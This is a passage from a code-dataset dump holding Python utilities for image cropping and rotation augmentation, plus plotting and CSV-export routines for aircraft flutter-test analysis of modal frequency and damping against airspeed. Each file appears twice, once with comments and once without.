r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
r'(?::\d+)?'
r'(?:/?|[/?]\S+)$', re.IGNORECASE)
def is_url(word):
if URL_REGEX.match(word):
return True
return False
| true | true |
f73c27bb08a8934e59e20f51fc072681cf6f55ce | 4,278 | py | Python | datasets/DataAugmentations.py | DrJonoG/StomataGSMax | 18e5f993ed875ae6af07a4c7d1c0e4ff97e2c947 | [
"Apache-2.0"
] | null | null | null | datasets/DataAugmentations.py | DrJonoG/StomataGSMax | 18e5f993ed875ae6af07a4c7d1c0e4ff97e2c947 | [
"Apache-2.0"
] | null | null | null | datasets/DataAugmentations.py | DrJonoG/StomataGSMax | 18e5f993ed875ae6af07a4c7d1c0e4ff97e2c947 | [
"Apache-2.0"
] | null | null | null | from scipy import ndimage
from skimage import measure
import numpy as np
import cv2
def crop_rectangle(image, rect):
# rect has to be upright
num_rows = image.shape[0]
num_cols = image.shape[1]
if not inside_rect(rect = rect, num_cols = num_cols, num_rows = num_rows):
print("Proposed rectangle is not fully in the image.")
return None
rect_center = rect[0]
rect_center_x = rect_center[0]
rect_center_y = rect_center[1]
rect_width = rect[1][0]
rect_height = rect[1][1]
image = image[rect_center_y-rect_height//2:rect_center_y+rect_height-rect_height//2, rect_center_x-rect_width//2:rect_center_x+rect_width-rect_width//2]
return image
def rect_bbx(rect):
box = cv2.boxPoints(rect)
x_max = int(np.max(box[:,0]))
x_min = int(np.min(box[:,0]))
y_max = int(np.max(box[:,1]))
y_min = int(np.min(box[:,1]))
center = (int((x_min + x_max) // 2), int((y_min + y_max) // 2))
width = int(x_max - x_min)
height = int(y_max - y_min)
angle = 0
return (center, (width, height), angle)
def inside_rect(rect, num_cols, num_rows):
rect_center = rect[0]
rect_center_x = rect_center[0]
rect_center_y = rect_center[1]
rect_width, rect_height = rect[1]
rect_angle = rect[2]
if (rect_center_x < 0) or (rect_center_x > num_cols):
return False
if (rect_center_y < 0) or (rect_center_y > num_rows):
return False
# https://docs.opencv.org/3.0-beta/modules/imgproc/doc/structural_analysis_and_shape_descriptors.html
box = cv2.boxPoints(rect)
x_max = int(np.max(box[:,0]))
x_min = int(np.min(box[:,0]))
y_max = int(np.max(box[:,1]))
y_min = int(np.min(box[:,1]))
if (x_max <= num_cols) and (x_min >= 0) and (y_max <= num_rows) and (y_min >= 0):
return True
else:
return False
def image_rotate_without_crop(mat, angle):
# https://stackoverflow.com/questions/22041699/rotate-an-image-without-cropping-in-opencv-in-c
# angle in degrees
height, width = mat.shape[:2]
image_center = (width/2, height/2)
rotation_mat = cv2.getRotationMatrix2D(image_center, angle, 1)
abs_cos = abs(rotation_mat[0,0])
abs_sin = abs(rotation_mat[0,1])
bound_w = int(height * abs_sin + width * abs_cos)
bound_h = int(height * abs_cos + width * abs_sin)
rotation_mat[0, 2] += bound_w/2 - image_center[0]
rotation_mat[1, 2] += bound_h/2 - image_center[1]
rotated_mat = cv2.warpAffine(mat, rotation_mat, (bound_w, bound_h), flags=cv2.INTER_NEAREST)
return rotated_mat
def crop_rotated_rectangle(image, rect):
# Crop a rotated rectangle from a image
num_rows = image.shape[0]
num_cols = image.shape[1]
if not inside_rect(rect = rect, num_cols = num_cols, num_rows = num_rows):
print("Proposed rectangle is not fully in the image.")
return []
rotated_angle = rect[2]
rect_bbx_upright = rect_bbx(rect = rect)
rect_bbx_upright_image = crop_rectangle(image = image, rect = rect_bbx_upright)
rotated_rect_bbx_upright_image = image_rotate_without_crop(mat = rect_bbx_upright_image, angle = rotated_angle)
rect_width = rect[1][0]
rect_height = rect[1][1]
crop_center = (rotated_rect_bbx_upright_image.shape[1]//2, rotated_rect_bbx_upright_image.shape[0]//2)
return rotated_rect_bbx_upright_image[crop_center[1]-rect_height//2 : crop_center[1]+(rect_height-rect_height//2), crop_center[0]-rect_width//2 : crop_center[0]+(rect_width-rect_width//2)]
def adjustment_center(position, half_crop, jitter, upper_bounds):
# Adjust center position if out of bounds
if position - (half_crop) <= 0:
y_low = half_crop
elif position + (half_crop) >= upper_bounds:
y_low = upper_bounds - (half_crop)
else:
y_low = position
iteration = 0
found = False
while iteration < 50:
adjustment = (jitter / 50) * iteration
y_low = y_low * np.random.uniform((1 - jitter) + adjustment, (1 + jitter) - adjustment)
if y_low - (half_crop) >= 0 and y_low + (half_crop) <= upper_bounds:
found = True
break
iteration += 1
if not found:
y_low = position
return y_low
| 31.925373 | 192 | 0.657083 | from scipy import ndimage
from skimage import measure
import numpy as np
import cv2
def crop_rectangle(image, rect):
num_rows = image.shape[0]
num_cols = image.shape[1]
if not inside_rect(rect = rect, num_cols = num_cols, num_rows = num_rows):
print("Proposed rectangle is not fully in the image.")
return None
rect_center = rect[0]
rect_center_x = rect_center[0]
rect_center_y = rect_center[1]
rect_width = rect[1][0]
rect_height = rect[1][1]
image = image[rect_center_y-rect_height//2:rect_center_y+rect_height-rect_height//2, rect_center_x-rect_width//2:rect_center_x+rect_width-rect_width//2]
return image
def rect_bbx(rect):
box = cv2.boxPoints(rect)
x_max = int(np.max(box[:,0]))
x_min = int(np.min(box[:,0]))
y_max = int(np.max(box[:,1]))
y_min = int(np.min(box[:,1]))
center = (int((x_min + x_max) // 2), int((y_min + y_max) // 2))
width = int(x_max - x_min)
height = int(y_max - y_min)
angle = 0
return (center, (width, height), angle)
def inside_rect(rect, num_cols, num_rows):
rect_center = rect[0]
rect_center_x = rect_center[0]
rect_center_y = rect_center[1]
rect_width, rect_height = rect[1]
rect_angle = rect[2]
if (rect_center_x < 0) or (rect_center_x > num_cols):
return False
if (rect_center_y < 0) or (rect_center_y > num_rows):
return False
box = cv2.boxPoints(rect)
x_max = int(np.max(box[:,0]))
x_min = int(np.min(box[:,0]))
y_max = int(np.max(box[:,1]))
y_min = int(np.min(box[:,1]))
if (x_max <= num_cols) and (x_min >= 0) and (y_max <= num_rows) and (y_min >= 0):
return True
else:
return False
def image_rotate_without_crop(mat, angle):
height, width = mat.shape[:2]
image_center = (width/2, height/2)
rotation_mat = cv2.getRotationMatrix2D(image_center, angle, 1)
abs_cos = abs(rotation_mat[0,0])
abs_sin = abs(rotation_mat[0,1])
bound_w = int(height * abs_sin + width * abs_cos)
bound_h = int(height * abs_cos + width * abs_sin)
rotation_mat[0, 2] += bound_w/2 - image_center[0]
rotation_mat[1, 2] += bound_h/2 - image_center[1]
rotated_mat = cv2.warpAffine(mat, rotation_mat, (bound_w, bound_h), flags=cv2.INTER_NEAREST)
return rotated_mat
def crop_rotated_rectangle(image, rect):
num_rows = image.shape[0]
num_cols = image.shape[1]
if not inside_rect(rect = rect, num_cols = num_cols, num_rows = num_rows):
print("Proposed rectangle is not fully in the image.")
return []
rotated_angle = rect[2]
rect_bbx_upright = rect_bbx(rect = rect)
rect_bbx_upright_image = crop_rectangle(image = image, rect = rect_bbx_upright)
rotated_rect_bbx_upright_image = image_rotate_without_crop(mat = rect_bbx_upright_image, angle = rotated_angle)
rect_width = rect[1][0]
rect_height = rect[1][1]
crop_center = (rotated_rect_bbx_upright_image.shape[1]//2, rotated_rect_bbx_upright_image.shape[0]//2)
return rotated_rect_bbx_upright_image[crop_center[1]-rect_height//2 : crop_center[1]+(rect_height-rect_height//2), crop_center[0]-rect_width//2 : crop_center[0]+(rect_width-rect_width//2)]
def adjustment_center(position, half_crop, jitter, upper_bounds):
if position - (half_crop) <= 0:
y_low = half_crop
elif position + (half_crop) >= upper_bounds:
y_low = upper_bounds - (half_crop)
else:
y_low = position
iteration = 0
found = False
while iteration < 50:
adjustment = (jitter / 50) * iteration
y_low = y_low * np.random.uniform((1 - jitter) + adjustment, (1 + jitter) - adjustment)
if y_low - (half_crop) >= 0 and y_low + (half_crop) <= upper_bounds:
found = True
break
iteration += 1
if not found:
y_low = position
return y_low
| true | true |
f73c28192b76bb50010568e00f466e7ac325a41b | 14,542 | py | Python | flutter_output.py | declanwalsh/aero-bumps | 823ec1533de585971adacc701b4a0cf7b7b45035 | [
"BSD-3-Clause"
] | null | null | null | flutter_output.py | declanwalsh/aero-bumps | 823ec1533de585971adacc701b4a0cf7b7b45035 | [
"BSD-3-Clause"
] | null | null | null | flutter_output.py | declanwalsh/aero-bumps | 823ec1533de585971adacc701b4a0cf7b7b45035 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
"""flutter_output
Generates graphs, csv's and other files for export of analysis
MORE DETAILS
Typical usage example:
foo = ClassFoo()
bar = foo.FunctionBar()
TODO
- Add spectrogram of changes in modal frequencies at different airspeeds
"""
from mpl_toolkits.mplot3d import Axes3D
import csv
import matplotlib.pyplot as plt
import matplotlib.ticker as ticker
import numpy as np
import flutter_config as cfg
from flutter_config import cfg_analysis
import bisect
# ---------------------------------
# FUNCTIONS - COMPARE RESULTS
# ---------------------------------
def compare_data_acc(results):
plot_modal_variation_with_airspeed(results, [10, 24])
plot_modal_variation_with_airspeed(results, [30])
plot_modal_variation_with_airspeed_3D(results, 10, [280, 290, 300, 310, 320, 330, 340, 350])
plot_modal_variation_with_airspeed_3D(results, 24, [330, 340, 350])
plot_modal_variation_with_airspeed_3D(results, 30, [0.68, 0.70, 0.72, 0.74, 0.76, 0.78, 0.80, 0.81])
if cfg.CALC_DAMPING:
plot_damping_variation_with_airspeed(results, [10, 24])
plot_damping_variation_with_airspeed(results, [30])
return 1
def plot_damping_variation_with_airspeed(results, altitude_list, title=None, subtitle=None):
fig, ax = plt.subplots()
min_airspeed = 1000
max_airspeed = 0
altitude_str = ""
for altitude in altitude_list:
for idx in range(len(cfg_analysis.FREQ_FILTER_MODE)):
modal_damping_results, modal_airspeed_results = get_damping_variation_with_airspeed(results, altitude, idx)
print(modal_damping_results)
print(modal_airspeed_results)
# case where no modes were detected for frequency and empty list returned
if not modal_airspeed_results or not modal_damping_results:
print("No modes for {}".format(cfg_analysis.FREQ_FILTER_MODE[idx]))
continue
min_airspeed = min(min(modal_airspeed_results), min_airspeed)
max_airspeed = max(max(modal_airspeed_results), max_airspeed)
label_str = "{:.1f}".format(cfg_analysis.FREQ_FILTER_MODE[idx]) + " Hz (nom.) @ " + str(altitude) + "K"
# marker='o'
ax.plot(modal_airspeed_results, modal_damping_results, label=label_str, marker="*")
altitude_str = "_" + altitude_str + str(altitude) + "K"
ax.plot([0, 1000], [-0.03, -0.03], linestyle='--', color='red', label="Limit")
plt.ylabel("Structural Damping")
if max_airspeed < 2:
plt.xlabel("Mach Number")
else:
plt.xlabel("Airspeed (KIAS)")
if title is None:
str_title = "Damping Variation"
plt.suptitle(str_title, fontsize=20, y=1)
if subtitle is None:
subtitle = cfg_analysis.ACC_BASIS_STR
plt.title(subtitle, fontsize=16)
tick_spacing = 0.03
ax.legend()
ax.set_xlim([min_airspeed, max_airspeed])
ax.set_ylim([-0.18, 0])
ax.yaxis.set_major_locator(ticker.MultipleLocator(tick_spacing))
fig.set_size_inches(cfg.FIGURE_WIDTH, cfg.FIGURE_HEIGHT)
plt.show()
if cfg.SAVE_FIG:
fig.savefig(cfg.IMAGE_FILE_ROOT + cfg_analysis.ANALYSIS_FILE_ROOT +
cfg_analysis.ACC_BASIS_STR + "_DAMPING" + altitude_str + ".png")
def plot_modal_variation_with_airspeed(results, altitude_list, title=None, subtitle=None):
fig, ax = plt.subplots()
min_airspeed = 1000
max_airspeed = 0
altitude_str = ""
for altitude in altitude_list:
for modal_freq in cfg_analysis.FREQ_FILTER_MODE:
modal_freq_results, modal_airspeed_results = get_modal_variation_with_airspeed(results, altitude, modal_freq)
# case where no modes were detectec for frequency and empty list returned
if not modal_airspeed_results or not modal_freq_results:
print("No modes for {}".format(modal_freq))
continue
min_airspeed = min(min(modal_airspeed_results), min_airspeed)
max_airspeed = max(max(modal_airspeed_results), max_airspeed)
label_str = "{:.1f}".format(modal_freq) + " Hz (nom.) @ " + str(altitude) + "K"
# marker='o'
ax.plot(modal_airspeed_results, modal_freq_results, label=label_str, marker="*")
altitude_str = "_" + altitude_str + str(altitude) + "K"
plt.ylabel("Frequency (Hz)")
if max_airspeed < 2:
plt.xlabel("Mach Number")
else:
plt.xlabel("Airspeed (KIAS)")
if title is None:
str_title = "Modal Frequency Variation"
plt.suptitle(str_title, fontsize=20, y=1)
if subtitle is None:
subtitle = cfg_analysis.ACC_BASIS_STR
plt.title(subtitle, fontsize=16)
ax.legend()
ax.set_xlim([min_airspeed, max_airspeed])
ax.set_ylim([0, 10])
fig.set_size_inches(cfg.FIGURE_WIDTH, cfg.FIGURE_HEIGHT)
plt.show()
if cfg.SAVE_FIG:
fig.savefig(cfg.IMAGE_FILE_ROOT + cfg_analysis.ANALYSIS_FILE_ROOT +
cfg_analysis.ACC_BASIS_STR + "_FREQUENCY" + altitude_str + ".png")
def plot_modal_variation_with_airspeed_3D(results, altitude, airspeed_values, title=None, subtitle=None):
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
max_freq = 12
f_big = []
Gxx_big = []
airspeed_big = []
altitude_str = "_" + str(altitude) + "K"
for airspeed in airspeed_values:
f, Gxx = get_freq_variation_with_airspeed(results, altitude, airspeed, max_freq)
if len(f) > 0:
airspeed_list = [airspeed]*len(f)
f_big.extend(f)
airspeed_big.extend(airspeed_list)
Gxx_big.extend(Gxx)
ax.plot(f, airspeed_list, Gxx)
ax.set_ylim(min(airspeed_values), max(airspeed_values))
ax.set_xlim(0, max_freq)
ax.set_xlabel('Frequency (Hz)')
ax.set_ylabel('Airspeed')
ax.set_zlabel('Amplitude')
if title is None:
plt.suptitle("Modal Frequency Variation @ " + str(altitude) + "K", fontsize=20, y=1)
fig.set_size_inches(cfg.FIGURE_WIDTH, cfg.FIGURE_HEIGHT)
plt.draw()
if cfg.SAVE_FIG:
fig.savefig(cfg.IMAGE_FILE_ROOT + cfg_analysis.ANALYSIS_FILE_ROOT +
cfg_analysis.ACC_BASIS_STR + "_FREQUENCY_3D_line" + altitude_str + ".png")
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
# surface expects a regular 2D grid structure
# colourmaps = https://matplotlib.org/3.1.0/tutorials/colors/colormaps.html
ax.plot_trisurf(f_big, airspeed_big, Gxx_big, cmap="plasma", antialiased=True)
ax.set_ylim(min(airspeed_values), max(airspeed_values))
ax.set_xlim(0, max_freq)
ax.set_xlabel('Frequency (Hz)')
ax.set_ylabel('Airspeed')
ax.set_zlabel('Amplitude')
if title is None:
plt.suptitle("Modal Frequency Variation @ " + str(altitude) + "K", fontsize=20, y=1)
fig.set_size_inches(cfg.FIGURE_WIDTH, cfg.FIGURE_HEIGHT)
plt.draw()
if cfg.SAVE_FIG:
fig.savefig(cfg.IMAGE_FILE_ROOT + cfg_analysis.ANALYSIS_FILE_ROOT +
cfg_analysis.ACC_BASIS_STR + "_FREQUENCY_3D_shaded" + altitude_str + ".png")
return fig, ax
def get_freq_variation_with_airspeed(results, altitude, airspeed, max_freq):
f = []
Gxx = []
for test_point in results:
if test_point["altitude"] == altitude and test_point["airspeed"] == airspeed:
f_results = test_point["f"]
Gxx_results = test_point["Gxx"]
f = f_results
Gxx = Gxx_results
idx_max_freq = bisect.bisect(f, max_freq)
f = f[:idx_max_freq]
Gxx = Gxx[:idx_max_freq]
return f, Gxx
def get_damping_variation_with_airspeed(results, altitude, modal_freq_idx):
damping_ratio = []
modal_airspeed = []
for test_point in results:
if test_point["altitude"] == altitude:
damping_ratio_results = test_point["damping_modal_ratio"]
damping_ratio.append(-2*damping_ratio_results[modal_freq_idx])
modal_airspeed.append(test_point["airspeed"])
return damping_ratio, modal_airspeed
def get_modal_variation_with_airspeed(results, altitude, modal_freq_of_interest):
modal_freq = []
modal_airspeed = []
for test_point in results:
if test_point["altitude"] == altitude:
modal_freq_match = get_closest_match(test_point["modal_freq"],
modal_freq_of_interest, cfg_analysis.FREQ_FILTER_VARIATION)
if modal_freq_match is not None:
modal_freq.append(modal_freq_match)
modal_airspeed.append(test_point["airspeed"])
return modal_freq, modal_airspeed
def get_closest_match(data, target, limit):
"""Returns the closest value in a list to a target within a limit
Returns none if no values in the list are within the limit to the target
"""
closest = None
# TODO - this might be able to be skipped over more efficiently
min_difference = abs(target - limit)
for value in data:
difference = abs(value - target)
if difference < min_difference and difference < limit:
min_difference = difference
closest = value
return closest
# ---------------------------------
# FUNCTIONS - PLOTTING
# ---------------------------------
def plot_value_variation_with_airspeed(airspeed, data, legend_str, title_str):
""" damping and airspeed should be array of arrays
each array is a different test point
"""
# TODO assert(len(airspeed) == len(damping))
fig, ax = plt.subplots()
for idx in len(airspeed):
ax.plot(airspeed[idx], data[idx], label=legend_str[idx])
def extract_relevant_value(data_list, acceptable_range):
relevant_value = None
for value in data_list:
if value >= acceptable_range[0] and value <= acceptable_range[1]:
if relevant_value is None:
relevant_value = value
else:
print("More than one value in the data list falls within range - returning None")
return None
return relevant_value
def plot_histogram(data):
"""Plots simple histogram of data"""
plt.hist(data, bins='auto') # arguments are passed to np.histogram
plt.title("Histogram of data")
plt.ylabel("Counts in sample")
plt.xlabel("Signal (automatically binned)")
plt.show()
def welch_plot(f, Gxx, f_max, Gxx_max, title=None, subtitle=None):
"""Plots the frequency domain of the signal"""
# TODO - make this handle maximum values nicer
fig, ax = plt.subplots()
# marker='o'
ax.plot(f, Gxx, label="Signal")
ax.set_xlim([0, 50])
# ax.set_yscale('log')
# ax.set_ylim([10**-4,10**2])
plt.ylabel("Relative strength")
plt.xlabel("Frequency (Hz)")
if title is None:
str_title = "PSD of Data"
else:
str_title = "PSD of " + title
plt.suptitle(str_title, fontsize=20, y=1)
if subtitle is not None:
plt.title(subtitle, fontsize=16)
plt.plot(f_max, Gxx_max, "x", label="Peaks")
ax.legend(loc='upper right')
fig.set_size_inches(cfg.FIGURE_WIDTH, cfg.FIGURE_HEIGHT)
plt.show()
if cfg.SAVE_FIG:
fig.savefig(cfg.IMAGE_FILE_ROOT + cfg_analysis.ANALYSIS_FILE_ROOT + title + "_FREQ" + ".png")
def plot_acc(data, time, title=None, peaks_idx=None, fileref=None,
subtitle=None, limits=None, save_image=True, filtered_image=False):
"""plots time varying data using Matplotlib"""
# TODO - colour extracted section different (to accout for the 1 second on either side)
fig, ax = plt.subplots()
ax.plot(time, data, label="Signal")
plt.ylabel("Signal (V or g's)")
plt.xlabel("Time (s)")
if title is None:
plt.suptitle("Signal Variation with Time (raw)")
title = fileref
else:
plt.suptitle("Signal of " + title, fontsize=20, y=1)
if subtitle is not None:
if filtered_image:
plt.title("Filtered between: " + subtitle + " (Hz)", fontsize=16)
else:
plt.title(subtitle, fontsize=16)
if peaks_idx is not None:
ax.plot(time[peaks_idx[0]], data[peaks_idx[0]], "x", label="Identified peaks")
for i in list(range(len(peaks_idx[0]))):
ax.annotate(i, (time[peaks_idx[0][i]], data[peaks_idx[0][[i]]]),
textcoords="offset points", xytext=(0, 10), ha="center")
if limits is not None:
ax.set(ylim=limits)
ax.legend(loc='upper right')
fig.set_size_inches(cfg.FIGURE_WIDTH, cfg.FIGURE_HEIGHT)
plt.show()
if cfg.SAVE_FIG and save_image:
if filtered_image:
fig.savefig(cfg.IMAGE_FILE_ROOT + cfg_analysis.ANALYSIS_FILE_ROOT +
cfg.FILTERED_IMAGE_FILE_ROOT + title + subtitle + "_FILTERED" + ".png")
else:
fig.savefig(cfg.IMAGE_FILE_ROOT + cfg_analysis.ANALYSIS_FILE_ROOT + title + "_TIME" + ".png")
return plt
def plot_atmosphere(altitude, time, temperature=None, fig=None, fileref=None):
"""Plots atmosphere data from test data
Overlays on a vibration profile (if one is provided) or creates new graph (if none is provided)
"""
if fig is None:
fig, ax = plt.subplots()
ax.plot(time, altitude, label="Altitude")
plt.ylabel("Pressure Altitude (ft)")
plt.xlabel("Time (s)")
return None
# ---------------------------------
# FUNCTIONS - CSV
# ---------------------------------
def save_csv_output(data, filename):
"""Saves the data out as a csv
saves in rows instead of columns as easier to work with
"""
print(f"Saving csv with data to {filename}.csv")
filename_complete = cfg.OUTPUT_FILE_ROOT + filename + ".csv"
with open(filename_complete, mode='w', newline='') as csv_file:
csv_writer = csv.writer(csv_file, delimiter=',', quotechar='"', quoting=csv.QUOTE_MINIMAL)
for cols in data:
csv_writer.writerow(cols)
print("CSV saved.")
return 1
| 31.47619 | 122 | 0.62543 |
from mpl_toolkits.mplot3d import Axes3D
import csv
import matplotlib.pyplot as plt
import matplotlib.ticker as ticker
import numpy as np
import flutter_config as cfg
from flutter_config import cfg_analysis
import bisect
def compare_data_acc(results):
plot_modal_variation_with_airspeed(results, [10, 24])
plot_modal_variation_with_airspeed(results, [30])
plot_modal_variation_with_airspeed_3D(results, 10, [280, 290, 300, 310, 320, 330, 340, 350])
plot_modal_variation_with_airspeed_3D(results, 24, [330, 340, 350])
plot_modal_variation_with_airspeed_3D(results, 30, [0.68, 0.70, 0.72, 0.74, 0.76, 0.78, 0.80, 0.81])
if cfg.CALC_DAMPING:
plot_damping_variation_with_airspeed(results, [10, 24])
plot_damping_variation_with_airspeed(results, [30])
return 1
def plot_damping_variation_with_airspeed(results, altitude_list, title=None, subtitle=None):
fig, ax = plt.subplots()
min_airspeed = 1000
max_airspeed = 0
altitude_str = ""
for altitude in altitude_list:
for idx in range(len(cfg_analysis.FREQ_FILTER_MODE)):
modal_damping_results, modal_airspeed_results = get_damping_variation_with_airspeed(results, altitude, idx)
print(modal_damping_results)
print(modal_airspeed_results)
if not modal_airspeed_results or not modal_damping_results:
print("No modes for {}".format(cfg_analysis.FREQ_FILTER_MODE[idx]))
continue
min_airspeed = min(min(modal_airspeed_results), min_airspeed)
max_airspeed = max(max(modal_airspeed_results), max_airspeed)
label_str = "{:.1f}".format(cfg_analysis.FREQ_FILTER_MODE[idx]) + " Hz (nom.) @ " + str(altitude) + "K"
ax.plot(modal_airspeed_results, modal_damping_results, label=label_str, marker="*")
altitude_str = "_" + altitude_str + str(altitude) + "K"
ax.plot([0, 1000], [-0.03, -0.03], linestyle='--', color='red', label="Limit")
plt.ylabel("Structural Damping")
if max_airspeed < 2:
plt.xlabel("Mach Number")
else:
plt.xlabel("Airspeed (KIAS)")
if title is None:
str_title = "Damping Variation"
plt.suptitle(str_title, fontsize=20, y=1)
if subtitle is None:
subtitle = cfg_analysis.ACC_BASIS_STR
plt.title(subtitle, fontsize=16)
tick_spacing = 0.03
ax.legend()
ax.set_xlim([min_airspeed, max_airspeed])
ax.set_ylim([-0.18, 0])
ax.yaxis.set_major_locator(ticker.MultipleLocator(tick_spacing))
fig.set_size_inches(cfg.FIGURE_WIDTH, cfg.FIGURE_HEIGHT)
plt.show()
if cfg.SAVE_FIG:
fig.savefig(cfg.IMAGE_FILE_ROOT + cfg_analysis.ANALYSIS_FILE_ROOT +
cfg_analysis.ACC_BASIS_STR + "_DAMPING" + altitude_str + ".png")
def plot_modal_variation_with_airspeed(results, altitude_list, title=None, subtitle=None):
fig, ax = plt.subplots()
min_airspeed = 1000
max_airspeed = 0
altitude_str = ""
for altitude in altitude_list:
for modal_freq in cfg_analysis.FREQ_FILTER_MODE:
modal_freq_results, modal_airspeed_results = get_modal_variation_with_airspeed(results, altitude, modal_freq)
if not modal_airspeed_results or not modal_freq_results:
print("No modes for {}".format(modal_freq))
continue
min_airspeed = min(min(modal_airspeed_results), min_airspeed)
max_airspeed = max(max(modal_airspeed_results), max_airspeed)
label_str = "{:.1f}".format(modal_freq) + " Hz (nom.) @ " + str(altitude) + "K"
ax.plot(modal_airspeed_results, modal_freq_results, label=label_str, marker="*")
altitude_str = "_" + altitude_str + str(altitude) + "K"
plt.ylabel("Frequency (Hz)")
if max_airspeed < 2:
plt.xlabel("Mach Number")
else:
plt.xlabel("Airspeed (KIAS)")
if title is None:
str_title = "Modal Frequency Variation"
plt.suptitle(str_title, fontsize=20, y=1)
if subtitle is None:
subtitle = cfg_analysis.ACC_BASIS_STR
plt.title(subtitle, fontsize=16)
ax.legend()
ax.set_xlim([min_airspeed, max_airspeed])
ax.set_ylim([0, 10])
fig.set_size_inches(cfg.FIGURE_WIDTH, cfg.FIGURE_HEIGHT)
plt.show()
if cfg.SAVE_FIG:
fig.savefig(cfg.IMAGE_FILE_ROOT + cfg_analysis.ANALYSIS_FILE_ROOT +
cfg_analysis.ACC_BASIS_STR + "_FREQUENCY" + altitude_str + ".png")
def plot_modal_variation_with_airspeed_3D(results, altitude, airspeed_values, title=None, subtitle=None):
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
max_freq = 12
f_big = []
Gxx_big = []
airspeed_big = []
altitude_str = "_" + str(altitude) + "K"
for airspeed in airspeed_values:
f, Gxx = get_freq_variation_with_airspeed(results, altitude, airspeed, max_freq)
if len(f) > 0:
airspeed_list = [airspeed]*len(f)
f_big.extend(f)
airspeed_big.extend(airspeed_list)
Gxx_big.extend(Gxx)
ax.plot(f, airspeed_list, Gxx)
ax.set_ylim(min(airspeed_values), max(airspeed_values))
ax.set_xlim(0, max_freq)
ax.set_xlabel('Frequency (Hz)')
ax.set_ylabel('Airspeed')
ax.set_zlabel('Amplitude')
if title is None:
plt.suptitle("Modal Frequency Variation @ " + str(altitude) + "K", fontsize=20, y=1)
fig.set_size_inches(cfg.FIGURE_WIDTH, cfg.FIGURE_HEIGHT)
plt.draw()
if cfg.SAVE_FIG:
fig.savefig(cfg.IMAGE_FILE_ROOT + cfg_analysis.ANALYSIS_FILE_ROOT +
cfg_analysis.ACC_BASIS_STR + "_FREQUENCY_3D_line" + altitude_str + ".png")
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
ax.plot_trisurf(f_big, airspeed_big, Gxx_big, cmap="plasma", antialiased=True)
ax.set_ylim(min(airspeed_values), max(airspeed_values))
ax.set_xlim(0, max_freq)
ax.set_xlabel('Frequency (Hz)')
ax.set_ylabel('Airspeed')
ax.set_zlabel('Amplitude')
if title is None:
plt.suptitle("Modal Frequency Variation @ " + str(altitude) + "K", fontsize=20, y=1)
fig.set_size_inches(cfg.FIGURE_WIDTH, cfg.FIGURE_HEIGHT)
plt.draw()
if cfg.SAVE_FIG:
fig.savefig(cfg.IMAGE_FILE_ROOT + cfg_analysis.ANALYSIS_FILE_ROOT +
cfg_analysis.ACC_BASIS_STR + "_FREQUENCY_3D_shaded" + altitude_str + ".png")
return fig, ax
def get_freq_variation_with_airspeed(results, altitude, airspeed, max_freq):
f = []
Gxx = []
for test_point in results:
if test_point["altitude"] == altitude and test_point["airspeed"] == airspeed:
f_results = test_point["f"]
Gxx_results = test_point["Gxx"]
f = f_results
Gxx = Gxx_results
idx_max_freq = bisect.bisect(f, max_freq)
f = f[:idx_max_freq]
Gxx = Gxx[:idx_max_freq]
return f, Gxx
def get_damping_variation_with_airspeed(results, altitude, modal_freq_idx):
damping_ratio = []
modal_airspeed = []
for test_point in results:
if test_point["altitude"] == altitude:
damping_ratio_results = test_point["damping_modal_ratio"]
damping_ratio.append(-2*damping_ratio_results[modal_freq_idx])
modal_airspeed.append(test_point["airspeed"])
return damping_ratio, modal_airspeed
def get_modal_variation_with_airspeed(results, altitude, modal_freq_of_interest):
modal_freq = []
modal_airspeed = []
for test_point in results:
if test_point["altitude"] == altitude:
modal_freq_match = get_closest_match(test_point["modal_freq"],
modal_freq_of_interest, cfg_analysis.FREQ_FILTER_VARIATION)
if modal_freq_match is not None:
modal_freq.append(modal_freq_match)
modal_airspeed.append(test_point["airspeed"])
return modal_freq, modal_airspeed
def get_closest_match(data, target, limit):
closest = None
min_difference = abs(target - limit)
for value in data:
difference = abs(value - target)
if difference < min_difference and difference < limit:
min_difference = difference
closest = value
return closest
def plot_value_variation_with_airspeed(airspeed, data, legend_str, title_str):
fig, ax = plt.subplots()
for idx in len(airspeed):
ax.plot(airspeed[idx], data[idx], label=legend_str[idx])
def extract_relevant_value(data_list, acceptable_range):
relevant_value = None
for value in data_list:
if value >= acceptable_range[0] and value <= acceptable_range[1]:
if relevant_value is None:
relevant_value = value
else:
print("More than one value in the data list falls within range - returning None")
return None
return relevant_value
def plot_histogram(data):
plt.hist(data, bins='auto')
plt.title("Histogram of data")
plt.ylabel("Counts in sample")
plt.xlabel("Signal (automatically binned)")
plt.show()
def welch_plot(f, Gxx, f_max, Gxx_max, title=None, subtitle=None):
fig, ax = plt.subplots()
ax.plot(f, Gxx, label="Signal")
ax.set_xlim([0, 50])
plt.ylabel("Relative strength")
plt.xlabel("Frequency (Hz)")
if title is None:
str_title = "PSD of Data"
else:
str_title = "PSD of " + title
plt.suptitle(str_title, fontsize=20, y=1)
if subtitle is not None:
plt.title(subtitle, fontsize=16)
plt.plot(f_max, Gxx_max, "x", label="Peaks")
ax.legend(loc='upper right')
fig.set_size_inches(cfg.FIGURE_WIDTH, cfg.FIGURE_HEIGHT)
plt.show()
if cfg.SAVE_FIG:
fig.savefig(cfg.IMAGE_FILE_ROOT + cfg_analysis.ANALYSIS_FILE_ROOT + title + "_FREQ" + ".png")
def plot_acc(data, time, title=None, peaks_idx=None, fileref=None,
subtitle=None, limits=None, save_image=True, filtered_image=False):
fig, ax = plt.subplots()
ax.plot(time, data, label="Signal")
plt.ylabel("Signal (V or g's)")
plt.xlabel("Time (s)")
if title is None:
plt.suptitle("Signal Variation with Time (raw)")
title = fileref
else:
plt.suptitle("Signal of " + title, fontsize=20, y=1)
if subtitle is not None:
if filtered_image:
plt.title("Filtered between: " + subtitle + " (Hz)", fontsize=16)
else:
plt.title(subtitle, fontsize=16)
if peaks_idx is not None:
ax.plot(time[peaks_idx[0]], data[peaks_idx[0]], "x", label="Identified peaks")
for i in list(range(len(peaks_idx[0]))):
ax.annotate(i, (time[peaks_idx[0][i]], data[peaks_idx[0][[i]]]),
textcoords="offset points", xytext=(0, 10), ha="center")
if limits is not None:
ax.set(ylim=limits)
ax.legend(loc='upper right')
fig.set_size_inches(cfg.FIGURE_WIDTH, cfg.FIGURE_HEIGHT)
